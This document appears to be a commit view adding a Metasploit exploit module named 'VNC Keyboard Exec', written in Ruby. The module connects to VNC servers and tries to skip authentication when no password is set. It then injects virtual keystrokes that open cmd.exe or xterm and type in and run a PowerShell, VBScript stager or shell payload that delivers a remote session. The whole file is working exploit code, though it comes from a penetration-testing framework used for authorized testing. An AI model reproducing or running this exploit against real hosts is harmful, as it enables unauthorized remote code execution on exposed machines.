VNC Keyboard Exec
parent
768dca514a
commit
b916a9d267
|
@ -0,0 +1,197 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/rfb'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
include Msf::Exploit::Remote::Tcp
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'VNC Keyboard Exec',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits VNC servers by sending virtual keyboard keys and executing
|
||||||
|
a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager
|
||||||
|
payload is typed and executed. On Unix/Linux systems a xterm terminal is opened
|
||||||
|
and a payload is typed and executed.
|
||||||
|
},
|
||||||
|
'Author' => [ 'xistence <xistence[at]0x90.nl>' ],
|
||||||
|
'Privileged' => false,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => %w{ win unix },
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'VNC Windows / Powershell', { 'Platform' => 'win' } ],
|
||||||
|
[ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ],
|
||||||
|
[ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 10 2015',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5900),
|
||||||
|
OptString.new('PASSWORD', [ false, 'The VNC password']),
|
||||||
|
OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def press_key( key )
|
||||||
|
keyboard_key = "\x04\x01" # Press key
|
||||||
|
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
|
||||||
|
keyboard_key << key # The keyboard key
|
||||||
|
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
|
||||||
|
sock.put(keyboard_key)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def release_key( key )
|
||||||
|
keyboard_key = "\x04\x00" # Release key
|
||||||
|
keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data
|
||||||
|
keyboard_key << key # The keyboard key
|
||||||
|
# Press the keyboard key. Note: No receive is done as everything is sent in one long data stream
|
||||||
|
sock.put(keyboard_key)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exec_command( command )
|
||||||
|
values = command.chars.to_a
|
||||||
|
values.each do |value|
|
||||||
|
press_key("\x00#{value}")
|
||||||
|
release_key("\x00#{value}")
|
||||||
|
end
|
||||||
|
press_key(@enter_key)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def start_cmdprompt
|
||||||
|
print_status("#{rhost}:#{rport} - Opening Run command")
|
||||||
|
# Pressing and holding windows key for 1 second
|
||||||
|
press_key(@windows_key)
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
# Press the "r" key
|
||||||
|
press_key("\x00r")
|
||||||
|
# Now we can release both keys again
|
||||||
|
release_key("\x00r")
|
||||||
|
release_key(@windows_key)
|
||||||
|
# Wait a second to open run command window
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
exec_command("cmd.exe")
|
||||||
|
# Wait a second for cmd.exe prompt to open
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
begin
|
||||||
|
|
||||||
|
@enter_key = "\xff\x0d"
|
||||||
|
@windows_key = "\xff\xeb"
|
||||||
|
alt_key = "\xff\xe9"
|
||||||
|
f2_key = "\xff\xbf"
|
||||||
|
password = datastore['PASSWORD']
|
||||||
|
|
||||||
|
connect
|
||||||
|
vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false)
|
||||||
|
|
||||||
|
unless vnc.handshake
|
||||||
|
print_error("#{rhost}:#{rport} - #{vnc.error}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
unless password.nil?
|
||||||
|
print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server")
|
||||||
|
if vnc.authenticate(password)
|
||||||
|
print_status("#{rhost}:#{rport} - Authenticated")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - #{vnc.error}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status("#{rhost}:#{rport} - Bypass authentication")
|
||||||
|
# The following byte is sent in case the VNC server end doesn't require authentication (empty password)
|
||||||
|
sock.put("\x10")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Send shared desktop
|
||||||
|
unless vnc.send_client_init
|
||||||
|
print_error("#{rhost}:#{rport} - #{vnc.error}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
if target.name =~ /VBScript CMDStager/
|
||||||
|
|
||||||
|
start_cmdprompt
|
||||||
|
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
||||||
|
execute_cmdstager({:flavor => :vbs, :linemax => 8100})
|
||||||
|
|
||||||
|
# Exit the CMD prompt
|
||||||
|
exec_command("exit")
|
||||||
|
|
||||||
|
elsif target.name =~ /Powershell/
|
||||||
|
|
||||||
|
start_cmdprompt
|
||||||
|
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
||||||
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
|
||||||
|
# Execute powershell payload and make sure we exit our CMD prompt
|
||||||
|
exec_command("#{command} && exit")
|
||||||
|
|
||||||
|
elsif target.name =~ /Linux/
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
|
||||||
|
# Press the ALT key and hold it for a second
|
||||||
|
press_key(alt_key)
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
|
||||||
|
# Press F2 to start up "Run application"
|
||||||
|
press_key(f2_key)
|
||||||
|
|
||||||
|
# Release ALT + F2
|
||||||
|
release_key(alt_key)
|
||||||
|
release_key(f2_key)
|
||||||
|
|
||||||
|
# Wait a second for "Run application" to start
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
|
||||||
|
# Start a xterm window
|
||||||
|
print_status("#{rhost}:#{rport} - Opening xterm")
|
||||||
|
exec_command("xterm")
|
||||||
|
|
||||||
|
# Wait a second for "xterm" to start
|
||||||
|
select(nil, nil, nil, 1)
|
||||||
|
|
||||||
|
# Execute our payload and exit (close) the xterm window
|
||||||
|
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
||||||
|
exec_command("nohup #{payload.encoded} &")
|
||||||
|
exec_command("exit")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Wait up to X seconds, else might timeout/disconnect before full payload is typed
|
||||||
|
select(nil, nil, nil, datastore['TIMEWAIT'])
|
||||||
|
|
||||||
|
handler
|
||||||
|
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
|
||||||
|
print_error("#{rhost}:#{rport} - #{e.message}")
|
||||||
|
ensure
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
exec_command(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
Loading…
Reference in New Issue